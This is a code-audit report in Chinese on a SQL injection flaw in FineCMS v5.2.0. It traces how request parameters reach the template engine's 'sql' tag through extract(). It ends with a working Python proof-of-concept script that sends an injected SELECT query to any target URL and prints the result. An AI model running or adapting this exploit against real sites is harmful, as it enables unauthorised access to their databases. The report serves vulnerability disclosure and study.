FineCMS v5.2.0 SQLinjection

Report 代码审计

0x01:漏洞分析

在/finecms/dayrui/controllers/Api.php第45行:

<?php
public function html() {
    ob_start();
    $this->template->cron = 0;
    $_GET['page'] = max(1, (int)$this->input->get('page'));
    $params = dr_string2array(urldecode($this->input->get('params')));
    $params['get'] = @json_decode(urldecode($this->input->get('get')), TRUE);
    $this->template->assign($params);
    $name = str_replace(array('\\', '/', '..', '<', '>'), '', dr_safe_replace($this->input->get('name', TRUE)));
    $this->template->display(strpos($name, '.html') ? $name : $name.'.html');
    $html = ob_get_contents();
    ob_clean();

    // 页面输出
    $format = $this->input->get('format');
    if ($format == 'html') {
        exit($html);
    } elseif ($format == 'json') {
        echo $this->callback_json(array('html' => $html));
    } elseif ($format == 'js') {
        echo 'document.write("'.addslashes(str_replace(array("\r", "\n", "\t", chr(13)), array('', '', '', ''), $html)).'");';
    } else {
        $data = $this->callback_json(array('html' => $html));
        echo dr_safe_replace(dr_safe_replace($this->input->get('callback', TRUE))).'('.$data.')';
    }
}
?>

assign()函数将GET获取的变量赋值到数组_options后,display()函数会选择加载模板文件:

<?php
public function display($_name, $_dir = NULL) {
    // 处理变量
    $this->_options['ci'] = $this->ci;
    extract($this->_options, EXTR_PREFIX_SAME, 'data');
    $this->_options = NULL;
    $this->_filename = $_name;
    // 加载编译后的缓存文件
    include $this->load_view_file($this->get_file_name($_name, $_dir)); 
    // 消毁变量
    $this->_include_file = NULL;
    }
?>

其中的extract()函数把$this->_options数组里的键对注册为变量。继续跟进\finecms\dayrui\libraries\Template的load_view_file()函数,它用于加载编译后的缓存文件:

<?php
public function load_view_file($name) {
    $cache_file = $this->_cache.str_replace(array(WEBPATH, '/', '\\', DIRECTORY_SEPARATOR), array('', '.', '.', '.'), $name).($this->mobile ? '.mobile.' : '').'.cache.php';
    // 当缓存文件不存在时或者缓存文件创建时间少于了模板文件时,再重新生成缓存文件
    if (!is_file($cache_file) || (is_file($cache_file) && is_file($name) && filemtime($cache_file) < filemtime($name))) {
        $content = $this->handle_view_file(file_get_contents($name));
        // 执行任务队列代码
        @file_put_contents($cache_file, $content, LOCK_EX) === FALSE && show_error('请将模板缓存目录(/cache/templates/)权限设为777', 404, '无写入权限');
    }
    return $cache_file;
}
?>

handle_view_file()会用list_tag函数解析标签,switch()依次匹配$action,最终会执行SQL语句:

<?php
case 'sql': // 直接sql查询
    if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {
        // 数据源的选择
        $db = $this->ci->db;
        // 替换前缀
        $sql = str_replace(
            array('@#S', '@#'),
            array($db->dbprefix.$system['site'], $db->dbprefix),
            trim(urldecode($sql[1]))
        );
        if (stripos($sql, 'SELECT') !== 0) {
            return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
        }
        $total = 0;
        $pages = '';
        // 如存在分页条件才进行分页查询
        if ($system['page'] && $system['urlrule']) {
            $page = max(1, (int)$_GET['page']);
            $row = $this->_query(preg_replace('/select .* from /iUs', 'SELECT count(*) as c FROM ', $sql), $system['site'], $system['cache'], FALSE);
            $total = (int)$row['c'];
            $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
            // 没有数据时返回空
            if (!$total) {
                return $this->_return($system['return'], '没有查询到内容', $sql, 0);
            }
            $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
            $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
        }
        $data = $this->_query($sql, $system['site'], $system['cache']);
        $fields = NULL;
        if ($system['module']) {
            $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
        }
        if ($fields) {
            // 缓存查询结果
            $name = 'list-action-sql-'.md5($sql);
            $cache = $this->ci->get_cache_data($name);
            if (!$cache && is_array($data)) {
                // 模型表的系统字段
                $fields['inputtime'] = array('fieldtype' => 'Date');
                $fields['updatetime'] = array('fieldtype' => 'Date');
                // 格式化显示自定义字段内容
                    foreach ($data as $i => $t) {
                        $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                    }
                //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
            }
            $data = $cache;
        }
        return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
        } else {
            return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
    }
    break;
?>

这里一开始用preg_match()将$_params替换成$sql,$sql被直接带入到_query()执行数据库查询。我们结合前文所述假设在最初注册变量的时候就注册$sql,那就能执行可控的查询语句最终导致了SQL Injection。

     

0x02:漏洞验证

以下是针对FineCMS V5.2.0 的SQL注入漏洞验证代码,该POC具有一定攻击性请谨慎使用,作者对其会产生的任何结果概不负责:

#!/usr/bin/dev python
# -*- coding:utf-8 -*-
# author: Lion Ei'Jonson
# date:2017/11/20

import sys
import requests
import re
import urllib

def useage():
    print("[*]Usage: python %s http://www.lioneijonson.cn" % sys.argv[0])

def get_result(url):
    payload = "select user()"
    get_params = {
        'c':'Api',
        'm':'html',
        'name':'search',
        'format':'html',
        'params':"{\"search_sql\":" + "\"" + payload + "as title\"}",
    }
    respon = requests.get(url,params=get_params)
    return respon

if __name__ == '__main__':
    if len(sys.argv) != 2:
        useage()
        sys.exit()
    if(sys.argv[1][:4]) != "http":
        url = "http://" + sys.argv[1] + "/index.php"
    else:
        url = sys.argv[1] + "/index.php"
    match = re.search(r"<a href=\"\">(.*?)</a>",get_result(url).content.decode('utf-8'))
    if match:
        print(match.group(1))
    else:
        print("[!]The target is not vnlnerable")
        sys.exit()